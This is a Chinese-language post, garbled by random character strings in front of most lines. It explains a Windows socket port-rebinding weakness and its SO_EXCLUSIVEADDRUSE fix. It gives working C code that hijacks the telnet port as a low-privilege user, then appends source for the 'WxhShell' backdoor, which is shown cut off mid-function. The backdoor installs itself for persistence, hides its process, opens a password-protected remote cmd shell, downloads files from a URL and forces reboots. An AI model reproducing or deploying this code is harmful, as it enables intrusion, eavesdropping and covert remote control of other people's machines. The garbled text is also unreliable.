在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
h:{rjXK
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Wj0=cIb V<&x+?>S saddr.sin_family = AF_INET;
x {Z_rD A.nU8 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
>*/\Pg6^ q~_DR4xZ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
It$'6HV~Sb +>BLox6 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
ph*9,\c8 qRk&b F/ 这意味着什么?意味着可以进行如下的攻击:
4cC KLVkPix;$ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
R5PXX&Q NN(ZH73 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
t5
:4'%| n.+%eYM< 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
z8v] Kt & GZY8%.1{"a 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
9z>I&vcX :&*Y
Io 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
*d%"/l^0 o@SL0H-6| 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
wuRB[KLe -E,
d)O`;$ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
M\4pTcz{ @Z9X^Y+u^h #include
qPle=6U[IL #include
MR$R# #include
G i1Jl" #include
d.wu DWORD WINAPI ClientThread(LPVOID lpParam);
)S41N^j. int main()
7K"{}: {
byALM WORD wVersionRequested;
nymF`0HYe1 DWORD ret;
$7k"?M_ WSADATA wsaData;
zx<:1nF,] BOOL val;
S#km`N` SOCKADDR_IN saddr;
c8uFLM j SOCKADDR_IN scaddr;
7 YS 'Tf int err;
J+hiz3N SOCKET s;
04;E^,V SOCKET sc;
4yOYw*X int caddsize;
Y#aL]LxZE HANDLE mt;
}_,\yC9F DWORD tid;
T!-*; yu wVersionRequested = MAKEWORD( 2, 2 );
+qN}oyL
err = WSAStartup( wVersionRequested, &wsaData );
j1[Ng #. if ( err != 0 ) {
Vf28R,~m printf("error!WSAStartup failed!\n");
MR") return -1;
rw:z|-r }
N{/):O saddr.sin_family = AF_INET;
zVEG)
Hr T'VZ=l[ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
&6ymGo n1yIQ8 F saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
FA5|` saddr.sin_port = htons(23);
2bu,_<K. if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
j@g`Pm%u` {
ANIx0*Yl( printf("error!socket failed!\n");
Ax"]+pb return -1;
@4)NxdOE }
>* Ag0.Az val = TRUE;
<Zb~tYp //SO_REUSEADDR选项就是可以实现端口重绑定的
eyM<#3\\S if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
/x2-$a:< {
dWc'R wL printf("error!setsockopt failed!\n");
oRDqN] return -1;
j
p"hbV }
\kN?7b^ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
d_7v 1)j //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
"2l$}G //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
rdQKzJiX=U 7+(on if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
0^lCZ,uq; {
38<Z=#S ret=GetLastError();
DxM$4 printf("error!bind failed!\n");
CjRU3
(Q return -1;
N.~zQVO#R }
-hd@<+;E listen(s,2);
_'Jz+f. while(1)
L0lqm0h {
(
* &E~g caddsize = sizeof(scaddr);
t,bQ@x{zVC //接受连接请求
>O;V[H2[ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
X}V}% if(sc!=INVALID_SOCKET)
9~7s*3zI {
0|i3#G_~ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
pY~/<lzW if(mt==NULL)
jw 4B^2} {
a,ff8Qm printf("Thread Creat Failed!\n");
Lg%3M8-W~ break;
nrEG4X9 }
e=ITAH3b }
gZf8/Tp\z CloseHandle(mt);
s(.H"_a }
ID_#a9N closesocket(s);
M)qb6aD0 WSACleanup();
W(#u^,$e[ return 0;
c1Rn1M,2k }
f(Su DWORD WINAPI ClientThread(LPVOID lpParam)
e 48N[p {
R:+cumHr
SOCKET ss = (SOCKET)lpParam;
s~p(59 SOCKET sc;
;_~9".'<d unsigned char buf[4096];
>0X_UDAWz SOCKADDR_IN saddr;
[r#m +R"N long num;
<q`'[1Y4 DWORD val;
7Gwo:s L DWORD ret;
m7#v2:OD+ //如果是隐藏端口应用的话,可以在此处加一些判断
e,K.bgi //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
d1qvS@ saddr.sin_family = AF_INET;
4'~zuUs saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
xYd]|y saddr.sin_port = htons(23);
btR~LJb if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
"@^^niSFl {
Ga]\~31NE printf("error!socket failed!\n");
f2LiCe.? return -1;
w}qLI4 }
1c\KRK4 val = 100;
C0gY if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
agGgj>DDd {
y*#YIS56I ret = GetLastError();
7 1+
bn return -1;
|!q,J }
elGwS\sw if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
mHyT1e {
>bFrJz} ret = GetLastError();
kXroFLrY return -1;
L$z(&%Nx }
A\w"!tNM| if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
h!mx/Hx {
ucYweXsO3 printf("error!socket connect failed!\n");
5W!#,jz closesocket(sc);
&[z<p closesocket(ss);
WYN0,rv1:+ return -1;
iLt2L;v>h }
j Gp&P while(1)
8n,/hY>w {
5wa'SexqE //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
$
~Ks!8'P //如果是嗅探内容的话,可以再此处进行内容分析和记录
5X73@Aj //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
#LR.1zZ num = recv(ss,buf,4096,0);
{)n@Rq\=v if(num>0)
` 7P%muY. send(sc,buf,num,0);
X`20=x else if(num==0)
>{)\GK0i7 break;
-V&nlP num = recv(sc,buf,4096,0);
~l8w]R3A if(num>0)
}nRTw2-z send(ss,buf,num,0);
}X/>WiGh: else if(num==0)
K!,9qH break;
Yosfk\D }
\iRmGvT closesocket(ss);
W#@6e')d closesocket(sc);
j#jwK(:] return 0 ;
7?;ZE: }
/K(l[M M`&78j J9/EJ'My ==========================================================
Urz9S3#\ < V*/1{ 下边附上一个代码,,WXhSHELL
Y?6}r;< ^;sE)L6 ==========================================================
,<BV5~T.| -W{ !`<8D #include "stdafx.h"
6j Rewj ?PYZW5 #include <stdio.h>
5\Rg%Ezl #include <string.h>
C]Q`!e #include <windows.h>
}X6w" #include <winsock2.h>
]$BC f4: #include <winsvc.h>
"/yS HB[ #include <urlmon.h>
VHi'~B#'* *P/DDRq(2 #pragma comment (lib, "Ws2_32.lib")
S.Q:O{] #pragma comment (lib, "urlmon.lib")
Q?bCQZ{-Lh %ol\ sO| #define MAX_USER 100 // 最大客户端连接数
[Z2{S-)UM #define BUF_SOCK 200 // sock buffer
Ga_Pt8L6 #define KEY_BUFF 255 // 输入 buffer
8,IQ6Or|-2 ]XASim:A #define REBOOT 0 // 重启
qe5;Pq !G #define SHUTDOWN 1 // 关机
_^g4/G#13c IF cre #define DEF_PORT 5000 // 监听端口
xn>N/+, 0RjFa;j #define REG_LEN 16 // 注册表键长度
o!lKP> #define SVC_LEN 80 // NT服务名长度
r>}z|I' 5,pEJ>dDD3 // 从dll定义API
pD!j#suMA typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Z*b$&nM typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
<G0Ut6J> typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Z2 Vri typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
<MKXFV !>N+a3
// wxhshell配置信息
kC ALJRf~d struct WSCFG {
azzG int ws_port; // 监听端口
V|TD+7.`QB char ws_passstr[REG_LEN]; // 口令
jNI9 .45y int ws_autoins; // 安装标记, 1=yes 0=no
l cM char ws_regname[REG_LEN]; // 注册表键名
DL#y_;#3_ char ws_svcname[REG_LEN]; // 服务名
}mo)OyIX char ws_svcdisp[SVC_LEN]; // 服务显示名
dlA0&;}z char ws_svcdesc[SVC_LEN]; // 服务描述信息
Xf{9rZ+ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
IR{XL\WF int ws_downexe; // 下载执行标记, 1=yes 0=no
[ahwJ F#r char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
K_n
GZ/`[ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
53$;ZO3 N,Js8Z" };
G?, "AA; O)ose?Z
// default Wxhshell configuration
AV4fN@BX struct WSCFG wscfg={DEF_PORT,
+4p=a [ "xuhuanlingzhe",
,|GjrT{vf 1,
[%P[ x]- "Wxhshell",
f1S%p "Wxhshell",
HRyhq;C "WxhShell Service",
]4r&Q4d>O "Wrsky Windows CmdShell Service",
c_>AbF{ "Please Input Your Password: ",
]a`"O 1,
|S~$IFN4 "
http://www.wrsky.com/wxhshell.exe",
K"[\)&WBG "Wxhshell.exe"
+tlBOl$ };
Ljiw9*ZI K%W;-W*' // 消息定义模块
zf]e"e char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
OnU-FX< char *msg_ws_prompt="\n\r? for help\n\r#>";
'BUfdb8d char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
&'`ki0Xh; char *msg_ws_ext="\n\rExit.";
NHQoP&OG char *msg_ws_end="\n\rQuit.";
WFzM s char *msg_ws_boot="\n\rReboot...";
Y78DYbU. char *msg_ws_poff="\n\rShutdown...";
`EfFyhG$ char *msg_ws_down="\n\rSave to ";
"%bU74> t%O)Ti char *msg_ws_err="\n\rErr!";
jo1z#!|Yw} char *msg_ws_ok="\n\rOK!";
UCup {pDp l8J2Xd @ char ExeFile[MAX_PATH];
ei>iXDt int nUser = 0;
zC*dJXt@ HANDLE handles[MAX_USER];
?~IdPSY int OsIsNt;
cv1PiIl ,)N/2M\B- SERVICE_STATUS serviceStatus;
H DD)AM&p SERVICE_STATUS_HANDLE hServiceStatusHandle;
&EYoviFp >j7]gi( // 函数声明
P_b!^sq9 int Install(void);
w ~"%&SNN int Uninstall(void);
E^gN]Z"O int DownloadFile(char *sURL, SOCKET wsh);
s(ap~UCOw int Boot(int flag);
h6IO ;:P) void HideProc(void);
2.=G int GetOsVer(void);
>6[d&SM6 int Wxhshell(SOCKET wsl);
$-|$4lrS void TalkWithClient(void *cs);
{2QP6X sJ int CmdShell(SOCKET sock);
0~+*$W int StartFromService(void);
B'mUDW8\D int StartWxhshell(LPSTR lpCmdLine);
:>0,MO.^~K MBLDxsZ- VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
*YX5bpR? VOID WINAPI NTServiceHandler( DWORD fdwControl );
#z70:-`.[M u.G aMl4 ( // 数据结构和表定义
FhPCFmmUT SERVICE_TABLE_ENTRY DispatchTable[] =
p-lFzNPc0 {
WMW=RgiW\ {wscfg.ws_svcname, NTServiceMain},
'/9q7?[E! {NULL, NULL}
;;m;f^]} };
"'GhE+>Z kma>'P`G // 自我安装
s"J)Jc int Install(void)
$pKegK;'z {
xX9snSGz char svExeFile[MAX_PATH];
dz>Jl},`k HKEY key;
X 5X D1[ strcpy(svExeFile,ExeFile);
H:9G/Nev 1G67#L)USq // 如果是win9x系统,修改注册表设为自启动
#0Uz1[ if(!OsIsNt) {
o2hk!#5[4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
[c lwmx RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
xtIF)M RegCloseKey(key);
#_`qbIOAj if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
eMdf[eS RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
`iN\@)E RegCloseKey(key);
Jf0i$ return 0;
|:Maa6(W }
4*9t:D|} }
s[dIWYs# }
[k(b<' else {
ms!|a_H7r ywkRH // 如果是NT以上系统,安装为系统服务
m2YsE
j7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
h{H*k#> if (schSCManager!=0)
-'L~Y~'. {
,Vo[mB SC_HANDLE schService = CreateService
~)`\j (
@$ju Qm schSCManager,
].5q,A] wscfg.ws_svcname,
*9w-eK1{ wscfg.ws_svcdisp,
l(-"rE SERVICE_ALL_ACCESS,
`@WJ_-$# SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Y"r728T`K SERVICE_AUTO_START,
z]C=nXbk SERVICE_ERROR_NORMAL,
3:8p="$F svExeFile,
>p0,]-.J,r NULL,
r:g_mMvB NULL,
zUNUH^Il NULL,
_h1eW9q NULL,
ZBFn NULL
km][QEXs% );
>}Bcv%zZ if (schService!=0)
Y)$%-'=b+ {
Q$ Dx: CloseServiceHandle(schService);
E/wxX#]\ CloseServiceHandle(schSCManager);
FC6~V6R strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
arRU` 6? strcat(svExeFile,wscfg.ws_svcname);
>;bym) if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
_Y/*e<bU RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
HZ}Igw.Z RegCloseKey(key);
=J]EVD
return 0;
*}';q`u} }
q8-hbWNm4 }
_dz ZS(7M6 CloseServiceHandle(schSCManager);
}p)Hw2 }
>SLmlK }
NP.i,H C984Ee return 1;
/988K-5k }
'6e4rn{
)G?\{n- // 自我卸载
98O]tL+k/u int Uninstall(void)
GCiG50Z= {
u*W! !(P/ HKEY key;
' (XB|5 *]h"J] if(!OsIsNt) {
2<p@G#( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
k9<UDg_ Y RegDeleteValue(key,wscfg.ws_regname);
_x3=i\O, RegCloseKey(key);
^);M}~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
%n8CK-> RegDeleteValue(key,wscfg.ws_regname);
u0,QsD)_X0 RegCloseKey(key);
)ZBNw{nh return 0;
g6P^ JW}. }
?daxb }
TF5jTpGq }
-K(d]-yv else {
Zlh 2qq C& XPn;f SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
S@S4<R1{\ if (schSCManager!=0)
ys>n%24qP {
'UxI-Lt SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
/Z!$bD if (schService!=0)
5/i/.
0?n {
w0Ex} if(DeleteService(schService)!=0) {
~Dz:n]Vk/ CloseServiceHandle(schService);
}o7- 3!{L! CloseServiceHandle(schSCManager);
/]j{P4 return 0;
gPc1oc( }
:4Nv6X61 CloseServiceHandle(schService);
C4`&_yoP4- }
ai1;v@1 CloseServiceHandle(schSCManager);
G3+e5/0 }
FE{c{G< }
`w`N5 ! QKx(S=4jQ return 1;
o#1Ta7Ro }
&"gX
7cK8 U<=d@knH // 从指定url下载文件
w+)wrJTtm int DownloadFile(char *sURL, SOCKET wsh)
zTfjuI|R {
~6Fh,S1? HRESULT hr;
5mpql[v3P char seps[]= "/";
-3~S{) char *token;
He5y;5 char *file;
LklE,W char myURL[MAX_PATH];
]v),[]Xs char myFILE[MAX_PATH];
W2h4ej\s m9MYd strcpy(myURL,sURL);
l;A '^ token=strtok(myURL,seps);
\v\ONp" while(token!=NULL)
);TB(PQsBT {
dY0W=,X$7T file=token;
;-Os~81o? token=strtok(NULL,seps);
);}M"W8 }
y=f.; a73VDQr I GetCurrentDirectory(MAX_PATH,myFILE);
.m8l\h^3 strcat(myFILE, "\\");
KnA BFH strcat(myFILE, file);
@ NL<v-t send(wsh,myFILE,strlen(myFILE),0);
2)\MxvfOh send(wsh,"...",3,0);
C;/ONF
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
.|g@#XIwe# if(hr==S_OK)
Mt`LOdiC_ return 0;
eN
</H.bm] else
"eOl(TSu/ return 1;
^E\n^D-RV z;e@m2.IM }
:@P6ibcX xoj,> [7 D // 系统电源模块
QGV#AID3XW int Boot(int flag)
bV2a2#kj {
:E|Jqi \ HANDLE hToken;
"nfi:A1 TOKEN_PRIVILEGES tkp;
,X:3w3nr^ x7^VU5w# if(OsIsNt) {
517wduj OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
r#1W$~?> LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
R[m{"2|,Lc tkp.PrivilegeCount = 1;
$uFvZ?w& tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
ni2 [K` AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
dMsS OP0E if(flag==REBOOT) {
Bsg^[~jWJu if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
F:#5Edo}A return 0;
"q= ss:( }
?SO!INJ else {
zh=0zJ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
@6+_0^ return 0;
dqQJC qc! }
Yy]TU} PY }
yi~]}M else {
A&B|n!;b if(flag==REBOOT) {
3X;>cv#B if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
_%Xp2`m return 0;
z^T;d^OJc }
[*(1~PrlO, else {
!s/qqq:g if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Qnt}:M+ return 0;
Nl,iz_2] }
+$VDV4l }
u{\>iQ
W)D?8* return 1;
B<-("P(q }
)eZ}Kt+ H<q|je}e // win9x进程隐藏模块
I9aiAD0s void HideProc(void)
0m.`$nlV- {
L
aA<` kb"Fw:0
HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
s?S e]?i if ( hKernel != NULL )
F@Wi[K {
<o3I<ci6 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
eAI|zk6 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
M;3q.0MU FreeLibrary(hKernel);
_yH">x< }
3kUb cm 'WmjQsf return;
NKB["+S< }
lqh:c B=^M& { // 获取操作系统版本
hS &H* int GetOsVer(void)
g@M5_I(W {
<3N\OV2 OSVERSIONINFO winfo;
j x< <h_j winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
rwW"B GetVersionEx(&winfo);
%`$:/3P$U if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
zd-
*UFi return 1;
qBK68B) else
2G5|J{4w return 0;
=N\$$3m?
}
HN/YuP03[ _99 +Vjy // 客户端句柄模块
h:C:opa-= int Wxhshell(SOCKET wsl)
|x&4vHXR0 {
MNTVG&h SOCKET wsh;
33eOM(`D[ struct sockaddr_in client;
*sB'D+-/ DWORD myID;
+lFBH(o]X cp~6\F;c while(nUser<MAX_USER)
HA}q.L]# {
`
-SC,qHw int nSize=sizeof(client);
DoO
;VF wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
f>cUdEPBb if(wsh==INVALID_SOCKET) return 1;
|?^N@ *KiY+_8> handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
>j ].`T if(handles[nUser]==0)
s?1Aj< closesocket(wsh);
hv>Xr=RE else
%"
mki> nUser++;
lWJYT<kt }
x30|0EHYl[ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
A0;{$/ fU%Ys9:wU return 0;
};"_Ku4#- }
QZ7W:%r(4 ^!k_"C)B // 关闭 socket
H=WB6~8) void CloseIt(SOCKET wsh)
?5lO1( {
\SwqBw closesocket(wsh);
YKayaI\* nUser--;
?*kB>U9e ExitThread(0);
Er$&}9G+- }
?/hS1yD; x#5[i;-c // 客户端请求句柄
Q;=4']hYU void TalkWithClient(void *cs)
[9~EH8 {
UL&>]aQ ^e =xEZD SOCKET wsh=(SOCKET)cs;
vfhoN]v char pwd[SVC_LEN];
$/JXI?K char cmd[KEY_BUFF];
/RhM6N char chr[1];
jY/(kA]} int i,j;
@ra JB' 'zMmJl}\vd while (nUser < MAX_USER) {
F/tRyq`D <j#IR if(wscfg.ws_passstr) {
CV{ZoY if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
gwg~4:W //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
j1K~zG //ZeroMemory(pwd,KEY_BUFF);
GuL0:, i=0;
QL2LIs while(i<SVC_LEN) {
F`,bFQ e,#5I(E // 设置超时
HD$`ZV fd_set FdRead;
A93(} V7I struct timeval TimeOut;
6wq%4RI0 FD_ZERO(&FdRead);
p`U# FD_SET(wsh,&FdRead);
~fcC+"7q/ TimeOut.tv_sec=8;
lY,9bSF$ TimeOut.tv_usec=0;
QP!;Gwqr int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
1{cF/ :o if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
lSd tw b j 7O!uUQQ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
fffWvf pwd
=chr[0]; 9M|#X1r{%{
if(chr[0]==0xd || chr[0]==0xa) { VRY@}>W'
pwd=0; l_+q a6C*
break; SjJ$Oinc
} *(i%\
i++; r<P? F
} &js$qgY
|6Iw\YU
// 如果是非法用户,关闭 socket G2c\"[N1/
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L-q)48+^k
} hA&m G33
n36@&q+B&
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tLdQO"
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NP~3!b
^$oEM0h
while(1) { fG.6S"|M
+>a(9r|:
ZeroMemory(cmd,KEY_BUFF); es+ZPX>Y
L!ms{0rJ
// 自动支持客户端 telnet标准 * "?,.
j=0; OMYbCy^
while(j<KEY_BUFF) { -I#<?=0B
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )B~{G\jS
cmd[j]=chr[0]; }>YEtA
if(chr[0]==0xa || chr[0]==0xd) { ^QHgc_oDm
cmd[j]=0; pMUUF5
break; y=SpIbn{
} Y~lOkH[z
j++; UK@hnQU8`
} EW]8k@&g
6Ol)SQE,
// 下载文件 !@+4&B=
if(strstr(cmd,"http://")) { ~_-+Q=3
send(wsh,msg_ws_down,strlen(msg_ws_down),0); w0<1=;_%
if(DownloadFile(cmd,wsh)) =1O;,8`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;1TQr3w
else O4a~(*f
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a][Tb0Ox
} [Mv'*.7
else { jzZEP4
HGj[\kU~
switch(cmd[0]) { ?#ywUEY* i
$V_w4!:Q
// 帮助 $B%3#-
case '?': { AX )dZdd
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BBl9<ne$
break; Fj<a;oV
} 9Z3Y, `R,
// 安装 x:]_z.5
case 'i': { H3ob
8+J
if(Install()) j(_6.zf
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8 }Maj
else np7!y
U
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7#26Smv
break; ^7$Q"
} kH62#[J)yM
// 卸载 2>Kn'p
case 'r': { q\fai^_
if(Uninstall()) #CB`7}jq
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;,B $lgF
else 5 ^tetDz}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9\6ZdnEKu,
break; f kdJgK
} %b ^.Gw\L
// 显示 wxhshell 所在路径 xw1n;IO4
case 'p': { U,~Z 2L
char svExeFile[MAX_PATH]; 0'` #I
strcpy(svExeFile,"\n\r"); nh"LdHqiDB
strcat(svExeFile,ExeFile); %#lJn.o
send(wsh,svExeFile,strlen(svExeFile),0); j5 W)9HW:
break; {w9GMqq
} 3 k)P*ME#
// 重启 KKw J=za
case 'b': { ~ \7peH%
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zids2/_*
if(Boot(REBOOT)) E-$N!KY
send(wsh,msg_ws_err,strlen(msg_ws_err),0); "Za 'K+4
else { 2wYY0=k2
closesocket(wsh); hOcVxSc.
ExitThread(0); glNXamo
} gBy7q09r
break; - I j
} mS-{AK
// 关机 1jj.oa]
case 'd': { +"[}gss!@
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gG,gL9o
if(Boot(SHUTDOWN)) 'v&f
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7{u1ynt
else { {UOR_Vt!*
closesocket(wsh); =>)4>WT8A
ExitThread(0); /p[lO g
} Sh o] ~)XX
break; t1]svVX,w
} ?Ns aZ
// 获取shell uhr&P4EW
case 's': { t|k-Bh:x
CmdShell(wsh); rqi|8gKY
closesocket(wsh); 9$N~OZ;-*x
ExitThread(0); ?_G?SQ
break; qMmhmH)Gp
} 1n+JHXR\
// 退出 l Gy`{E|
case 'x': { VrZ6m
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?C|b>wM/
CloseIt(wsh); )Hlc\Mgy
break; X&bnyo P
} DzK%$#{<
// 离开 :g"UG0];
case 'q': { $N17GqoC
send(wsh,msg_ws_end,strlen(msg_ws_end),0); c
UHKE\F
closesocket(wsh); B ez 7
WSACleanup(); ~HyqHxy
exit(1); J~1=?</
break; aECQ(]q
} L[p[m~HjG^
} Eza B}BLQ9
} CB%O8d #
;,jms~ik
// 提示信息 $@4(Lq1.
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uSn<]OrZo`
} <S` N9a
} $_0~Jzt,
]$
iqJL
return; gye'_AR?k
} \y0uGnmCj
]tDuCZA
// shell模块句柄 ?Y#x`DMh
int CmdShell(SOCKET sock) a2`|6M;
{ jM|-(Es.)
STARTUPINFO si; d"hW45L
ZeroMemory(&si,sizeof(si)); jMB&(r
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !&8HA
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2ID]it\5
PROCESS_INFORMATION ProcessInfo; #MI4 `FZ
char cmdline[]="cmd"; IAa}F!6Q1
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !S}4b
return 0; J+20]jI
} #[aHKq:?b
I^yInrRh5
// 自身启动模式 uf&Ke
k,
int StartFromService(void) ~xP4}gs1
{ fp2.2 @[
typedef struct I2<t?c:Pn<
{ 0!!z'm3
DWORD ExitStatus; vd}Y$X
DWORD PebBaseAddress; I~P]_DmM
DWORD AffinityMask; BjyGk+A
